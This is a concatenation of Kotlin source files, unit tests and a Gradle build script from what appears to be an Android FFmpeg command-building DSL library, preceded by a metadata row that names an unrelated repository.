| 8ae4a62958b5bda5ef172f1923e081a9ed0a2c93 | [
"Markdown",
"Dockerfile",
"Shell"
] | 4 | Shell | prezi/cloudbees-pse-pod-mutator-admission-controller | 607648f51b53db5ca0344f20e4a2571bf94d115a | 644cbad7738870678c02709021625622f199649b | |
refs/heads/main | <file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.initializer
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.Filter
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.FilterGroup
class FilterGroupInitializer(private val filterGroup: FilterGroup) : BaseFiltersInitializer() {
override fun addFilter(filter: Filter) {
filterGroup.addFilter(filter)
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.initializer
import ai.moises.ffmpegdslandroid.ffmpegcommand.annotation.FFmpegInitializerMarker
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.*
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.panfilter.PanFilter
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.panfilter.PanFilterFactory
@FFmpegInitializerMarker
abstract class BaseFiltersInitializer {
var audioSampleRate: Number? = null
set(value) {
field = value
value?.let(::addAudioSampleRateFilter)
}
var audioResampleRate: Number? = null
set(value) {
field = value
value?.let(::addAudioResampleRateFilter)
}
var audioTempo: Double? = null
set(value) {
field = value
value?.let(::addAudioTempoFilter)
}
var volume: Number? = null
set(value) {
field = value
value?.let(::addVolumeFilter)
}
private fun addAudioSampleRateFilter(sampleRate: Number) {
addFilter(AudioSampleRateFilter(sampleRate))
}
private fun addAudioResampleRateFilter(resampleRate: Number) {
addFilter(AudioResampleFilter(resampleRate))
}
private fun addAudioTempoFilter(tempo: Double) {
addFilter(AudioTempoFilter(tempo))
}
private fun addVolumeFilter(volume: Number) {
addFilter(VolumeFilter(volume))
}
fun pan(initializer: PanInitializer.() -> Unit): PanFilter {
val panInitializer = PanInitializer().apply(initializer)
val panFilter = PanFilterFactory.create(panInitializer.channelType, panInitializer.gains)
addFilter(panFilter)
return panFilter
}
protected abstract fun addFilter(filter: Filter)
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.command
/**
* Created by <NAME> on 19/06/21.
* github: @vnicius
* <EMAIL>
*/
interface KeyCommandArgument {
abstract val key: String
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.command
/**
* Created by <NAME> on 19/06/21.
* github: @vnicius
* <EMAIL>
*/
interface ValueCommandArgument {
abstract val value: String
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier
/**
* Created by <NAME> on 05/07/21.
* github: @vnicius
* <EMAIL>
*
* @see https://ffmpeg.org/ffmpeg.html#Stream-specifiers-1
*/
class StreamSpecifier private constructor() {
private var streamIndex: Int? = null
private var streamType: StreamType? = null
private var additionalStreamSpecifier: Int? = null
private var customAdditionalStreamSpecifier: String = ""
constructor(
streamIndex: Int,
streamType: StreamType,
additionalStreamSpecifier: Int? = null
) : this() {
this.streamIndex = streamIndex
this.streamType = streamType
this.additionalStreamSpecifier = additionalStreamSpecifier
}
constructor(streamType: StreamType, additionalStreamSpecifier: Int? = null) : this() {
this.streamType = streamType
this.additionalStreamSpecifier = additionalStreamSpecifier
}
constructor(streamType: StreamType, customAdditionalStreamSpecifier: String) : this() {
this.streamType = streamType
this.customAdditionalStreamSpecifier = customAdditionalStreamSpecifier
}
fun parseToString(): String {
val resultString = StringBuilder()
streamIndex?.let {
resultString.append(it).append(":")
}
streamType?.let {
resultString.append(it.id)
}
additionalStreamSpecifier?.let {
resultString.append(":").append(it)
}
resultString.append(customAdditionalStreamSpecifier)
return resultString.toString()
}
override fun toString(): String = parseToString()
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.initializer
import ai.moises.ffmpegdslandroid.ffmpegcommand.annotation.FFmpegInitializerMarker
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.Filter
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.mixfilter.AudioMixFilter
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.mixfilter.mixoption.DropoutTransitionOption
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.Duration
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.mixfilter.mixoption.DurationOption
import ai.moises.ffmpegdslandroid.ffmpegcommand.filter.mixfilter.mixoption.InputsOption
@FFmpegInitializerMarker
class AudioMixInitializer(private val audioMixFilter: AudioMixFilter) : BaseFiltersInitializer() {
var inputs: Int? = null
set(value) {
field = value
value?.let(::addInputsOption)
}
var duration: Duration? = null
set(value) {
field = value
value?.let(::addDurationOption)
}
var dropoutTransition: Int? = null
set(value) {
field = value
value?.let(::addDropoutTransitionOption)
}
private fun addInputsOption(inputsSize: Int) {
audioMixFilter.addOption(InputsOption(inputsSize))
}
private fun addDurationOption(duration: Duration) {
audioMixFilter.addOption(DurationOption(duration))
}
private fun addDropoutTransitionOption(dropoutTransition: Int) {
audioMixFilter.addOption(DropoutTransitionOption(dropoutTransition))
}
override fun addFilter(filter: Filter) {
audioMixFilter.addFilter(filter)
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.KeyAssertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.ValueAssertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.CommandArgumentParser
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.KeyCommandArgument
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.ValueCommandArgument
abstract class Filter: KeyCommandArgument, ValueCommandArgument, CommandArgumentParser {
override fun parseToString(): String {
val trimmedKey = key.trim()
val trimmedValue = value.trim()
KeyAssertion.assert(trimmedKey)
ValueAssertion.assert(trimmedValue)
return "${trimmedKey}=${trimmedValue}"
}
override fun toString(): String =
parseToString()
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import com.google.common.truth.Truth.assertThat
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.CodecNotSupportedException
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamSpecifier
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamType
import org.junit.Test
/**
* Created by <NAME> on 21/06/21.
* github: @vnicius
* <EMAIL>
*/
class CodecArgumentTest {
@Test
fun should_HaveBasicKey_when_StreamSpecifierIsNull() {
val codecArgument = CodecArgument("libcodec")
val codecKey = codecArgument.key
assertThat(codecKey).isEqualTo("-c")
}
@Test
fun should_ContainsStreamSpecifierAtTheEndOfTheKey_when_StreamSpecifierIsNotNull() {
val codecArgument = CodecArgument("libcodec", StreamSpecifier(StreamType.Audio, 1))
val codecKey = codecArgument.key
assertThat(codecKey).isEqualTo("-c:a:1")
}
@Test(expected = CodecNotSupportedException::class)
fun should_FailToConstruct_when_CodecIsBlank() {
CodecArgument("")
}
@Test
fun should_ParseArgumentCorrectly_when_CodecAndStreamSpecifierAreNotBlank() {
val codecArgument = CodecArgument("libcodec", StreamSpecifier(StreamType.Audio))
val codecArgumentParsed = codecArgument.parseToString()
assertThat(codecArgumentParsed).isEqualTo("-c:a \"libcodec\"")
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.StreamSpecifierAssertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamSpecifier
/**
* Created by <NAME> on 25/06/21.
* github: @vnicius
* <EMAIL>
*/
class MapArgument private constructor(): Argument() {
override val key: String = "-map"
override val value: String
get() = valueString
private var valueString: String = ""
constructor(streamSpecifier: StreamSpecifier): this() {
valueString = streamSpecifier.parseToString()
}
constructor(specifier: String): this() {
StreamSpecifierAssertion.assert(specifier)
valueString = specifier
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter.panfilter
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.GainAssertion
class MonoPanFilter(gains: FloatArray) : PanFilter(ChannelType.Mono) {
init {
GainAssertion.assert(gains)
setupChannels(gains)
}
private fun setupChannels(gains: FloatArray) {
val channelsWithGain = gains.mapIndexed { index, value ->
"$value*c$index"
}
val channels = channelsWithGain.joinToString("+")
val channelsConfig = "c0<$channels"
addChannelConfig(channelsConfig)
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit
import com.google.common.truth.Truth.assertThat
import org.junit.Test
/**
* Created by <NAME> on 30/06/21.
* github: @vnicius
* <EMAIL>
*/
class NanosecondTimeDurationUnitTest {
private val nanosecondTimeDurationUnit = NanosecondTimeDurationUnit()
@Test
fun should_CorrectlyFormatTheValueToNanosecondsInString_when_ValueIsAPositiveValue() {
val secondsInString = nanosecondTimeDurationUnit.format(2)
assertThat(secondsInString).matches("2us")
}
@Test
fun should_CorrectlyFormatTheValueToNanosecondsInString_when_ValueIsANegativeValue() {
val secondsInString = nanosecondTimeDurationUnit.format(-10)
assertThat(secondsInString).matches("-10us")
}
@Test
fun should_CorrectlyFormatTheValueToNanosecondsInString_when_ValueIsADecimalNumber() {
val secondsInString = nanosecondTimeDurationUnit.format(20.5f)
assertThat(secondsInString).matches("20.5us")
}
@Test
fun should_KeepAllDecimalPartOnFormattedString_when_ValueIsALongDecimalNumber() {
val secondsInString = nanosecondTimeDurationUnit.format(0.5123123123123)
assertThat(secondsInString).matches("0.5123123123123us")
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration
import com.google.common.truth.Truth.assertThat
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit.MillisecondTimeDurationUnit
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit.NanosecondTimeDurationUnit
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit.SecondTimeDurationUnit
import org.junit.Test
/**
* Created by <NAME> on 30/06/21.
* github: @vnicius
* <EMAIL>
*/
class SimpleTimeDurationTest {
@Test
fun should_FormatTimeDurationValueBasedOnTimeDurationUnit_when_TimeDurationUnitIsInSeconds() {
val simpleTimeDuration = SimpleTimeDuration(2f, SecondTimeDurationUnit())
val formattedTimeDuration = simpleTimeDuration.format()
assertThat(formattedTimeDuration).matches("2.0")
}
@Test
fun should_FormatTimeDurationValueBasedOnTimeDurationUnit_when_TimeDurationUnitIsInMilliseconds() {
val simpleTimeDuration = SimpleTimeDuration(200, MillisecondTimeDurationUnit())
val formattedTimeDuration = simpleTimeDuration.format()
assertThat(formattedTimeDuration).matches("200ms")
}
@Test
fun should_FormatTimeDurationValueBasedOnTimeDurationUnit_when_TimeDurationUnitIsInNanoseconds() {
val simpleTimeDuration = SimpleTimeDuration(200, NanosecondTimeDurationUnit())
val formattedTimeDuration = simpleTimeDuration.format()
assertThat(formattedTimeDuration).matches("200us")
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier
import com.google.common.truth.Truth.assertThat
import org.junit.Test
/**
* Created by <NAME> on 05/07/21.
* github: @vnicius
* <EMAIL>
*/
class StreamSpecifierTest {
@Test
fun should_CorrectlyPartStreamSpecifierToString_when_ConstructWithIndexAndStreamType() {
val streamSpecifier = StreamSpecifier(0, StreamType.Audio)
val parsedStreamSpecifier = streamSpecifier.parseToString()
assertThat(parsedStreamSpecifier).isEqualTo("0:a")
}
@Test
fun should_CorrectlyPartStreamSpecifierToString_when_ConstructWithIndexStreamTypeAndAdditionalStreamSpecifier() {
val streamSpecifier = StreamSpecifier(0, StreamType.Video, 1)
val parsedStreamSpecifier = streamSpecifier.parseToString()
assertThat(parsedStreamSpecifier).isEqualTo("0:v:1")
}
@Test
fun should_CorrectlyPartStreamSpecifierToString_when_ConstructOnlyWithStreamType() {
val streamSpecifier = StreamSpecifier(StreamType.Subtitle)
val parsedStreamSpecifier = streamSpecifier.parseToString()
assertThat(parsedStreamSpecifier).isEqualTo("s")
}
@Test
fun should_CorrectlyPartStreamSpecifierToString_when_ConstructWithStreamTypeAndAdditionalStreamSpecifier() {
val streamSpecifier = StreamSpecifier(StreamType.Audio, 0)
val parsedStreamSpecifier = streamSpecifier.parseToString()
assertThat(parsedStreamSpecifier).isEqualTo("a:0")
}
@Test
fun should_CorrectlyPartStreamSpecifierToString_when_ConstructWithStreamTypeAndCustomAdditionalStreamSpecifier() {
val streamSpecifier = StreamSpecifier(StreamType.Audio, "1")
val parsedStreamSpecifier = streamSpecifier.parseToString()
assertThat(parsedStreamSpecifier).isEqualTo("a1")
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter
import com.google.common.truth.Truth.assertThat
import org.junit.Test
/**
* Created by <NAME> on 01/07/21.
* github: @vnicius
* <EMAIL>
*/
class AudioTempoFilterTest {
@Test
fun should_CorrectlyParseTheFilter_when_SetAValue() {
val audioTempoFilter = AudioTempoFilter(2.0)
val parsedFilter = audioTempoFilter.parseToString()
assertThat(parsedFilter).isEqualTo("atempo=2.0")
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.CodecAssertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamSpecifier
/**
* Created by <NAME> on 21/06/21.
* github: @vnicius
* <EMAIL>
*/
class CodecArgument(codec: String, private val streamSpecifier: StreamSpecifier? = null): Argument() {
override val key: String
get() = generateKey()
override val value: String = codec
init {
CodecAssertion.assert(codec)
}
private fun generateKey(): String {
val specifier = streamSpecifier?.parseToString()?.let {
":$it"
} ?: ""
return BASE_KEY + specifier
}
companion object {
const val BASE_KEY = "-c"
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.value
import com.google.common.truth.Truth.assertThat
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.ValueIsBlankException
import org.junit.Test
/**
* Created by <NAME> on 01/07/21.
* github: @vnicius
* <EMAIL>
*/
class OutputPathValueTest {
@Test
fun should_CorrectlyParseTheValue_when_PathIsNotEmpty() {
val outputPathValue = OutputPathValue("abc")
val parsedPath = outputPathValue.parseToString()
assertThat(parsedPath).isEqualTo("\"abc\"")
}
@Test(expected = ValueIsBlankException::class)
fun should_Fails_when_ParsePathWithBlankValue() {
val outputPathValue = OutputPathValue("")
outputPathValue.parseToString()
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.command
/**
* Created by <NAME> on 19/06/21.
* github: @vnicius
* <EMAIL>
*/
interface CommandArgumentParser {
fun parseToString(): String
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.CommandArgumentParser
import ai.moises.ffmpegdslandroid.ffmpegcommand.streamspecifier.StreamSpecifier
class FilterGroup(
val inputStreamSpecifier: StreamSpecifier? = null,
val outputStreamSpecifier: StreamSpecifier? = null
) :
CommandArgumentParser, TaggedFilter {
private val filters: MutableList<Filter> = mutableListOf()
private val filterTagGenerator = FilterTagGenerator()
override val inputTag: String =
filterTagGenerator.generateTagFromStreamSpecifier(inputStreamSpecifier)
override val outputTag: String =
filterTagGenerator.generateTagFromStreamSpecifier(outputStreamSpecifier)
fun addFilter(filter: Filter) {
filters.add(filter)
}
override fun parseToString(): String {
val filtersString = filters.joinToString(",") { it.parseToString() }
return "$inputTag$filtersString$outputTag;"
}
override fun toString(): String =
parseToString()
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration
/**
* Created by <NAME> on 28/06/21.
* github: @vnicius
* <EMAIL>
*
* @see https://ffmpeg.org/ffmpeg-utils.html#time-duration-syntax
*/
interface TimeDuration {
fun format(): String
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit.TimeDurationUnit
/**
* Created by <NAME> on 28/06/21.
* github: @vnicius
* <EMAIL>
*/
class SimpleTimeDuration private constructor(): TimeDuration {
private var timeDurationString: String = ""
constructor(value: Number, timeDurationUnit: TimeDurationUnit) : this() {
timeDurationString = timeDurationUnit.format(value)
}
override fun format(): String = timeDurationString
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.TimeDuration
abstract class TimeDurationArgument(override val key: String) : Argument() {
abstract val timeDuration: TimeDuration
override val value: String
get() = timeDuration.format()
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter.panfilter
import com.google.common.truth.Truth.assertThat
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.InvalidGainListSize
import org.junit.Test
/**
* Created by <NAME> on 06/07/21.
* github: @vnicius
* <EMAIL>
*/
class MonoPanFilterTest {
@Test
fun should_CorrectlyParseMonoPanToString_when_GainHasASingleItem() {
val monoPanFilter = MonoPanFilter(floatArrayOf(1f))
val parsedString = monoPanFilter.parseToString()
assertThat(parsedString).isEqualTo("pan=1c|c0<1.0*c0")
}
@Test
fun should_CorrectlyParseMonoPanToString_when_GainHasMultipleItems() {
val monoPanFilter = MonoPanFilter(floatArrayOf(1f, 2f, .5f))
val parsedString = monoPanFilter.parseToString()
assertThat(parsedString).isEqualTo("pan=1c|c0<1.0*c0+2.0*c1+0.5*c2")
}
@Test(expected = InvalidGainListSize::class)
fun should_Fail_when_GainListIsEmpty() {
MonoPanFilter(floatArrayOf())
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.exception
/**
* Created by <NAME> on 06/07/21.
* github: @vnicius
* <EMAIL>
*/
class InvalidGainListSize: Exception("The `gain` list can not be empty") {}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration
import com.google.common.truth.Truth.assertThat
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.InvalidTimeException
import org.junit.Test
/**
* Created by <NAME> on 30/06/21.
* github: @vnicius
* <EMAIL>
*/
class TimePositionTest {
@Test
fun should_CorrectlyFormatTimePosition_when_TimePositionOnlyContainsSecondsLessThanTen() {
val timePosition = TimePosition(2.0)
val formattedTimePosition = timePosition.format()
assertThat(formattedTimePosition).matches("00:02")
}
@Test
fun should_CorrectlyFormatTimePosition_when_TimePositionOnlyContainsSecondsGreaterThanTen() {
val timePosition = TimePosition(22.0)
val formattedTimePosition = timePosition.format()
assertThat(formattedTimePosition).matches("00:22")
}
@Test
fun should_CorrectlyFormatTimePosition_when_TimePositionContainsSecondsWithLongDecimalValue() {
val timePosition = TimePosition(12.1412412323)
val formattedTimePosition = timePosition.format()
assertThat(formattedTimePosition).matches("00:12.1412412323")
}
@Test
fun should_CorrectlyFormatTimePosition_when_TimePositionOnlyContainsMinutesLessThanTen() {
val timePosition = TimePosition(2,0.0)
val formattedTimePosition = timePosition.format()
assertThat(formattedTimePosition).matches("02:00")
}
@Test
fun should_CorrectlyFormatTimePosition_when_TimePositionOnlyContainsMinutesGreaterThanTen() {
val timePosition = TimePosition(11,0.0)
val formattedTimePosition = timePosition.format()
assertThat(formattedTimePosition).matches("11:00")
}
@Test
fun should_CorrectlyFormatTimePosition_when_TimePositionOnlyContainsHoursLessThanTen() {
val timePosition = TimePosition(8, 0,0.0)
val formattedTimePosition = timePosition.format()
assertThat(formattedTimePosition).matches("08:00:00")
}
@Test
fun should_CorrectlyFormatTimePosition_when_TimePositionOnlyContainsHoursGreaterThanTen() {
val timePosition = TimePosition(90, 0,0.0)
val formattedTimePosition = timePosition.format()
assertThat(formattedTimePosition).matches("90:00:00")
}
@Test
fun should_CorrectlyFormatTimePosition_when_TimePositionContainsMinutesAndSeconds() {
val timePosition = TimePosition(0, 22,5.0)
val formattedTimePosition = timePosition.format()
assertThat(formattedTimePosition).matches("22:05")
}
@Test
fun should_CorrectlyFormatTimePosition_when_TimePositionContainsNegativeHours() {
val timePosition = TimePosition(-1, 45,5.0)
val formattedTimePosition = timePosition.format()
assertThat(formattedTimePosition).matches("-01:45:05")
}
@Test
fun should_CorrectlyFormatTimePosition_when_TimePositionContainsNegativeSeconds() {
val timePosition = TimePosition(0, 0,-5.0)
val formattedTimePosition = timePosition.format()
assertThat(formattedTimePosition).matches("-00:05")
}
@Test
fun should_CorrectlyFormatTimePosition_when_TimePositionContainsNegativeMinutes() {
val timePosition = TimePosition(-2,12.0)
val formattedTimePosition = timePosition.format()
assertThat(formattedTimePosition).matches("-02:12")
}
@Test(expected = InvalidTimeException::class)
fun should_Fails_when_TimePositionContainsNegativeMinutesAndHours() {
TimePosition(12, -2,12.0)
}
@Test(expected = InvalidTimeException::class)
fun should_Fails_when_TimePositionContainsNegativeSecondsAndMinutes() {
TimePosition(2,-12.0)
}
@Test(expected = InvalidTimeException::class)
fun should_Fails_when_TimePositionContainsNegativeSecondsAndHours() {
TimePosition(2, 0,-12.0)
}
// The minutes should be a value between -59 and +59
@Test(expected = InvalidTimeException::class)
fun should_Fails_when_TimePositionContainsMinutesOutOfNegativeValueBoundary() {
TimePosition(-60, 0.0)
}
// The minutes should be a value between -59 and +59
@Test(expected = InvalidTimeException::class)
fun should_Fails_when_TimePositionContainsMinutesOutOfPositiveValueBoundary() {
TimePosition(60, 0.0)
}
// The seconds should be a value between -59 and +59
@Test(expected = InvalidTimeException::class)
fun should_Fails_when_TimePositionContainsSecondsOutOfNegativeValueBoundary() {
TimePosition(-100.0)
}
// The seconds should be a value between -59 and +59
@Test(expected = InvalidTimeException::class)
fun should_Fails_when_TimePositionContainsSecondsOutOfPositiveValueBoundary() {
TimePosition(100.0)
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.timedurationunit
/**
* Created by <NAME> on 28/06/21.
* github: @vnicius
* <EMAIL>
*/
interface TimeDurationUnit {
fun format(value: Number): String
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.exception
/**
* Created by <NAME> on 05/07/21.
* github: @vnicius
* <EMAIL>
*/
class InvalidVolumeException: Exception("The 'volume' can not be a negative value") {
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.TimeDuration
class TimeArgument(override val timeDuration: TimeDuration) : TimeDurationArgument("-t") {}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter
import com.google.common.truth.Truth.assertThat
import org.junit.Test
/**
* Created by <NAME> on 01/07/21.
* github: @vnicius
* <EMAIL>
*/
class AudioResampleFilterTest {
@Test
fun should_CorrectlyParseTheArgument_when_DefinedASampleRateIsAnIntegerValue() {
val audioResampleFilter = AudioResampleFilter(44100)
val parsedFilter = audioResampleFilter.parseToString()
assertThat(parsedFilter).isEqualTo("aresample=44100")
}
@Test
fun should_CorrectlyParseTheArgument_when_DefinedASampleRateIsAnFloatValue() {
val audioResampleFilter = AudioResampleFilter(100f)
val parsedFilter = audioResampleFilter.parseToString()
assertThat(parsedFilter).isEqualTo("aresample=100.0")
}
@Test
fun should_CorrectlyParseTheArgument_when_DefinedASampleRateIsAnDoubleValue() {
val audioResampleFilter = AudioResampleFilter(200.0)
val parsedFilter = audioResampleFilter.parseToString()
assertThat(parsedFilter).isEqualTo("aresample=200.0")
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.filter
class AudioSampleRateFilter(sampleRate: Number) : Filter() {
override val key: String = "asetrate"
override val value: String = sampleRate.toString()
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.assertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.exception.InvalidVolumeException
/**
* Created by <NAME> on 05/07/21.
* github: @vnicius
* <EMAIL>
*/
object VolumeAssertion: Assertion<Number> {
override fun assert(value: Number) {
if (value.toInt() < 0) throw InvalidVolumeException()
}
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.argument
import com.google.common.truth.Truth.assertThat
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.TimeDurationBuilder
import org.junit.Test
/**
* Created by <NAME> on 29/06/21.
* github: @vnicius
* <EMAIL>
*/
class InputTimeOffsetArgumentTest {
private val timeDurationBuilder = TimeDurationBuilder()
@Test
fun should_ParseArgumentCorrectly_when_TimeDurationIsInSeconds() {
val timedDurationSeconds = timeDurationBuilder.toSecond(2.0)
val inputTimeOffsetArgument = InputTimeOffsetArgument(timedDurationSeconds)
val parsedArgument = inputTimeOffsetArgument.parseToString()
assertThat(parsedArgument).matches("-itsoffset \"2.0\"")
}
@Test
fun should_ParseArgumentCorrectly_when_TimeDurationIsInMilliseconds() {
val timedDurationSeconds = timeDurationBuilder.toMillisecond(200)
val inputTimeOffsetArgument = InputTimeOffsetArgument(timedDurationSeconds)
val parsedArgument = inputTimeOffsetArgument.parseToString()
assertThat(parsedArgument).matches("-itsoffset \"200ms\"")
}
@Test
fun should_ParseArgumentCorrectly_when_TimeDurationIsInNanoseconds() {
val timedDurationSeconds = timeDurationBuilder.toNanosecond(200)
val inputTimeOffsetArgument = InputTimeOffsetArgument(timedDurationSeconds)
val parsedArgument = inputTimeOffsetArgument.parseToString()
assertThat(parsedArgument).matches("-itsoffset \"200us\"")
}
@Test
fun should_ParseArgumentCorrectly_when_TimeDurationIsTimePositionOnlyWithSeconds() {
val timedDurationSeconds = timeDurationBuilder.toTimePosition(0, 0, 2.5)
val inputTimeOffsetArgument = InputTimeOffsetArgument(timedDurationSeconds)
val parsedArgument = inputTimeOffsetArgument.parseToString()
assertThat(parsedArgument).matches("-itsoffset \"00:02.5\"")
}
@Test
fun should_ParseArgumentCorrectly_when_TimeDurationIsTimePositionWithPositiveMinutes() {
val timedDurationSeconds = timeDurationBuilder.toTimePosition(0, 10, 10.55)
val inputTimeOffsetArgument = InputTimeOffsetArgument(timedDurationSeconds)
val parsedArgument = inputTimeOffsetArgument.parseToString()
assertThat(parsedArgument).matches("-itsoffset \"10:10.55\"")
}
@Test
fun should_ParseArgumentCorrectly_when_TimeDurationIsTimePositionWithNegativeMinutes() {
val timedDurationSeconds = timeDurationBuilder.toTimePosition(0, -9, 10.55)
val inputTimeOffsetArgument = InputTimeOffsetArgument(timedDurationSeconds)
val parsedArgument = inputTimeOffsetArgument.parseToString()
assertThat(parsedArgument).matches("-itsoffset \"-09:10.55\"")
}
@Test
fun should_ParseArgumentCorrectly_when_TimeDurationIsTimePositionWithPositiveHours() {
val timedDurationSeconds = timeDurationBuilder.toTimePosition(10, 50, 10.55)
val inputTimeOffsetArgument = InputTimeOffsetArgument(timedDurationSeconds)
val parsedArgument = inputTimeOffsetArgument.parseToString()
assertThat(parsedArgument).matches("-itsoffset \"10:50:10.55\"")
}
@Test
fun should_ParseArgumentCorrectly_when_TimeDurationIsTimePositionWithNegativeHours() {
val timedDurationSeconds = timeDurationBuilder.toTimePosition(-10, 5, 0.0)
val inputTimeOffsetArgument = InputTimeOffsetArgument(timedDurationSeconds)
val parsedArgument = inputTimeOffsetArgument.parseToString()
assertThat(parsedArgument).matches("-itsoffset \"-10:05:00\"")
}
}<file_sep>// Top-level build file where you can add configuration options common to all sub-projects/modules.
apply plugin: 'maven-publish'
def githubProperties = new Properties()
try {
githubProperties.load(new FileInputStream(rootProject.file("github.properties")))
} catch(FileNotFoundException e) {
// ignore
}
def user = githubProperties.getProperty('gpr.usr', System.getenv("GPR_USER"))
def key = githubProperties.getProperty('gpr.key', System.getenv("GPR_API_KEY"))
def versionName = "0.0.1"
def artificatId = "ffmpeg-dsl"
publishing {
publications {
bar(MavenPublication) {
groupId 'ai.moises'
artifactId artificatId
version versionName
artifact("$projectDir/ffmpeg-dsl/build/outputs/aar/$artificatId-release.aar")
}
}
repositories {
maven {
name = "GitHubPackages"
url = uri("https://maven.pkg.github.com/moises-ai/ffmpeg-dsl-android")
credentials {
username = user
password = key
}
}
}
}
buildscript {
ext.kotlin_version = "1.5.0"
repositories {
google()
mavenCentral()
}
dependencies {
classpath "com.android.tools.build:gradle:4.2.1"
classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"
// NOTE: Do not place your application dependencies here; they belong
// in the individual module build.gradle files
}
}
allprojects {
repositories {
google()
mavenCentral()
jcenter() // Warning: this repository is going to shut down soon
}
}
task clean(type: Delete) {
delete rootProject.buildDir
}<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.initializer
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.TimeDuration
import ai.moises.ffmpegdslandroid.ffmpegcommand.timeduration.TimeDurationBuilder
/**
* Created by <NAME> on 28/06/21.
* github: @vnicius
* <EMAIL>
*/
fun seconds(second: Double): TimeDuration = TimeDurationBuilder().toSecond(second)
fun milliseconds(millisecond: Long): TimeDuration = TimeDurationBuilder().toMillisecond(millisecond)
fun nanoseconds(nanosecond: Long): TimeDuration = TimeDurationBuilder().toNanosecond(nanosecond)
fun hours(hour: Int): TimeDuration =
TimeDurationBuilder().toTimePosition(hour, 0, 0.0)
fun minutes(minute: Int): TimeDuration =
TimeDurationBuilder().toTimePosition(0, minute, 0.0)
fun timePosition(second: Double): TimeDuration =
TimeDurationBuilder().toTimePosition(second)
fun timePosition(minute: Int, second: Double): TimeDuration =
TimeDurationBuilder().toTimePosition(minute, second)
fun timePosition(hour: Int, minute: Int, second: Double): TimeDuration =
TimeDurationBuilder().toTimePosition(hour, minute, second)<file_sep>package ai.moises.ffmpegdslandroid.ffmpegcommand.flag
import ai.moises.ffmpegdslandroid.ffmpegcommand.assertion.KeyAssertion
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.CommandArgumentParser
import ai.moises.ffmpegdslandroid.ffmpegcommand.command.KeyCommandArgument
abstract class Flag : KeyCommandArgument, CommandArgumentParser {
override fun parseToString(): String {
val trimmedKey = key.trim()
KeyAssertion.assert(key)
return trimmedKey
}
override fun toString(): String =
parseToString()
